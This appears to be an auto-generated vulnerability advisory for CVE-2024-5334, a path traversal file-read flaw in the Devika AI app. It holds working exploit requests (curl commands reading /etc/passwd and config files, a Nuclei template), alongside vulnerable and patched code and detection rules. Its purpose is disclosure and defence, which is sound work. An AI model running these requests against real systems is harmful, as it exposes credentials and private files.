CVE-2024-5334
Executive Summary
CVE-2024-5334 is a high-severity Local File Inclusion (LFI) vulnerability in the Stitionai Devika AI application. The flaw resides in the /api/get-browser-snapshot endpoint, where the snapshot_path parameter is not properly sanitized. An unauthenticated attacker can exploit this by sending a crafted request with a path traversal sequence (e.g., ../../etc/passwd) to read arbitrary files from the server filesystem. The vulnerability has a CVSS score of 7.5 and a public proof-of-concept (PoC) via a Nuclei template. No official patch has been released, though a commit referencing a fix exists. This poses a significant risk of sensitive data exposure, including credentials, configuration files, and application source code.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not directly related to a package manager (NPM, PyPI, Go, Ruby) but affects the Devika AI application, which is a Python-based project. Users should verify the integrity of their Devika installation and monitor for any malicious modifications to the codebase that could exploit this flaw.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
- Base Score: 7.5 (High)
- Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
- Attack Complexity: Low (AC:L) – No special conditions are required.
- Privileges Required: None (PR:N) – No authentication is needed.
- User Interaction: None (UI:N) – The victim does not need to perform any action.
- Scope: Unchanged (S:U) – The vulnerable component and the impacted component are the same.
- Confidentiality Impact: High (C:H) – Sensitive files can be read.
- Integrity Impact: None (I:N) – No data modification is possible.
- Availability Impact: None (A:N) – No denial of service.
Threat Level: High. The ease of exploitation and the potential for sensitive data exposure make this a critical risk for any exposed Devika instance.
Deep Dive & Mechanics
The vulnerability is a classic Local File Inclusion (LFI) caused by insufficient input validation. The /api/get-browser-snapshot endpoint is designed to retrieve a browser snapshot file based on a user-supplied path. The application fails to restrict the snapshot_path parameter to a specific directory, allowing an attacker to use path traversal sequences (e.g., ../) to navigate outside the intended directory.
Attack Flow:
- The attacker sends a GET request to
/api/get-browser-snapshot?snapshot_path=/etc/passwd. - The server processes the request without sanitizing the path.
- The server reads the file at the specified path and returns its contents in the HTTP response.
- The attacker receives the contents of
/etc/passwd, confirming the vulnerability.
The Nuclei template confirms this behavior by matching the response body for the root:.*:0:0: pattern and the response headers for attachment; filename=passwd and application/octet-stream.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual):
@app.route('/api/get-browser-snapshot')
def get_browser_snapshot():
snapshot_path = request.args.get('snapshot_path')
# No validation or sanitization
with open(snapshot_path, 'rb') as f:
data = f.read()
return Response(data, mimetype='application/octet-stream', headers={'Content-Disposition': f'attachment; filename={os.path.basename(snapshot_path)}'})
Patched Code (Conceptual):
import os
ALLOWED_DIR = '/path/to/snapshots'
@app.route('/api/get-browser-snapshot')
def get_browser_snapshot():
snapshot_path = request.args.get('snapshot_path')
# Sanitize and validate the path
safe_path = os.path.normpath(os.path.join(ALLOWED_DIR, snapshot_path))
if not safe_path.startswith(ALLOWED_DIR):
return "Invalid path", 400
if not os.path.isfile(safe_path):
return "File not found", 404
with open(safe_path, 'rb') as f:
data = f.read()
return Response(data, mimetype='application/octet-stream', headers={'Content-Disposition': f'attachment; filename={os.path.basename(safe_path)}'})
The patched code uses os.path.normpath and os.path.join to resolve the path and then checks that it starts with the allowed directory. This prevents path traversal attacks.
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- A running instance of Devika AI (e.g., on
http://target:5000). - No authentication required.
Exploitation Steps:
Basic LFI: Use
curlor a browser to request a sensitive file.curl "http://target:5000/api/get-browser-snapshot?snapshot_path=/etc/passwd"Expected response: The contents of
/etc/passwdwith headersContent-Disposition: attachment; filename=passwdandContent-Type: application/octet-stream.Reading Application Files: Attempt to read configuration files.
curl "http://target:5000/api/get-browser-snapshot?snapshot_path=../config.py"Automated Scanning: Use the provided Nuclei template.
nuclei -t CVE-2024-5334.yaml -u http://target:5000
No Exploit-DB code was provided.
Blue Team (Defensive)
Detection:
- Monitor web server logs for requests to
/api/get-browser-snapshotwith suspicioussnapshot_pathparameters (e.g., containing../,/etc/,/proc/). - Use the Sigma rule provided in the Detection Engineering section.
Hunting:
- Search for any outbound connections from the Devika server to unknown IPs (data exfiltration).
- Check for unexpected files being accessed on the filesystem.
Containment:
- Immediately isolate the affected server.
- Block the
/api/get-browser-snapshotendpoint at the WAF or reverse proxy level. - Review access logs to determine if any sensitive files were accessed.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP GET requests to
/api/get-browser-snapshot?snapshot_path=<path>where<path>contains path traversal sequences or references to sensitive files (e.g.,/etc/passwd,/proc/self/environ). - Response headers:
Content-Disposition: attachment; filename=<filename>andContent-Type: application/octet-streamfor files not normally served as downloads.
- HTTP GET requests to
File System IOCs:
- Unexpected access to files outside the intended snapshot directory (e.g.,
/etc/shadow,/var/log/auth.log).
- Unexpected access to files outside the intended snapshot directory (e.g.,
Log IOCs:
- Web server logs showing repeated requests to the vulnerable endpoint with varying
snapshot_pathvalues.
- Web server logs showing repeated requests to the vulnerable endpoint with varying
Detection Engineering
YARA Rule
rule CVE_2024_5334_Devika_LFI {
meta:
description = "Detects attempts to exploit CVE-2024-5334 in Devika AI"
author = "Valters IT"
date = "2024-01-01"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-5334"
strings:
$s1 = "/api/get-browser-snapshot?snapshot_path="
$s2 = "../"
$s3 = "/etc/"
$s4 = "/proc/"
$s5 = "/var/"
condition:
any of ($s*) and #s1 > 0
}
Sigma Rule
title: CVE-2024-5334 Devika AI Local File Inclusion Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests targeting the /api/get-browser-snapshot endpoint with path traversal or sensitive file paths.
author: Valters IT
date: 2024/01/01
references:
- https://nvd.nist.gov/vuln/detail/CVE-2024-5334
logsource:
category: webserver
product: apache
service: httpd
detection:
selection:
cs-method: 'GET'
cs-uri-query|contains: '/api/get-browser-snapshot?snapshot_path='
keywords:
- '..'
- '/etc/'
- '/proc/'
- '/var/'
- '/root/'
condition: selection and keywords
falsepositives:
- Legitimate use of the snapshot feature with valid paths (rare)
level: high
tags:
- attack.t1083
- cve.2024.5334
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-5334 Devika AI Local File Inclusion Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/api/get-browser-snapshot?snapshot_path="; http_uri; content:"../"; within:100; http_uri; content:"/etc/"; within:100; http_uri; sid:1000001; rev:1; reference:cve,2024-5334; priority:1;)
Nuclei Template (Provided)
id: CVE-2024-5334
info:
name: Devika - Local File Inclusion
author: nechyo,nukunga,harksu,olfloralo,gy741
severity: high
description: |
A local file read vulnerability exists in the stitionai/devika repository, affecting the latest version. The vulnerability is due to improper handling of the 'snapshot_path' parameter in the '/api/get-browser-snapshot' endpoint. An attacker can exploit this vulnerability by crafting a request with a malicious 'snapshot_path' parameter, leading to arbitrary file read from the system. This issue impacts the security of the application by allowing unauthorized access to sensitive files on the server.
impact: |
Successful exploitation could lead to unauthorized access to sensitive files and data.
remediation: |
Ensure input validation is implemented to prevent malicious file inclusions and use whitelists for allowed file paths.
reference:
- https://huntr.com/bounties/7eec128b-1bf5-4922-a95c-551ad3695cf6
- https://github.com/stitionai/devika/commit/6acce21fb08c3d1123ef05df6a33912bf0ee77c2
- https://nvd.nist.gov/vuln/detail/CVE-2024-5334
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2024-5334
cwe-id: CWE-73
epss-score: 0.6275
epss-percentile: 0.9839
metadata:
max-request: 1
shodan-query: title:"Devika AI"
fofa-query: title="Devika AI"
tags: cve,cve2024,devika-ai,lfi,vkev,vuln
http:
- raw:
- |
GET /api/get-browser-snapshot?snapshot_path=/etc/passwd HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- "root:.*:0:0:"
- type: word
part: header
words:
- "attachment; filename=passwd"
- "application/octet-stream"
condition: and
- type: status
status:
- 200
Remediation & Mitigation
Immediate Actions:
- Apply the Patch: If available, apply the commit from the official repository (https://github.com/stitionai/devika/commit/6acce21fb08c3d1123ef05df6a33912bf0ee77c2). If not, manually implement input validation as shown in the patched code example.
- WAF Rule: Block requests to
/api/get-browser-snapshotwithsnapshot_pathcontaining../,/etc/,/proc/, or other sensitive paths. - Network Segmentation: Ensure the Devika server is not directly exposed to the internet. Place it behind a reverse proxy with strict access controls.
Long-Term Fixes:
- Input Validation: Always validate and sanitize user-supplied file paths. Use a whitelist of allowed directories and filenames.
- Least Privilege: Run the Devika application with minimal filesystem permissions. The application should only have read access to the necessary snapshot directory.
- Regular Updates: Monitor for official patches and update the application promptly.
Valters IT Signature
This report was generated by Valters IT DevSecOps AI. For questions, contact Secure Channels (Signal / Portal).
{/* [Security Hash: 521226D3162AA5DEA7CBC9C4] */}
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.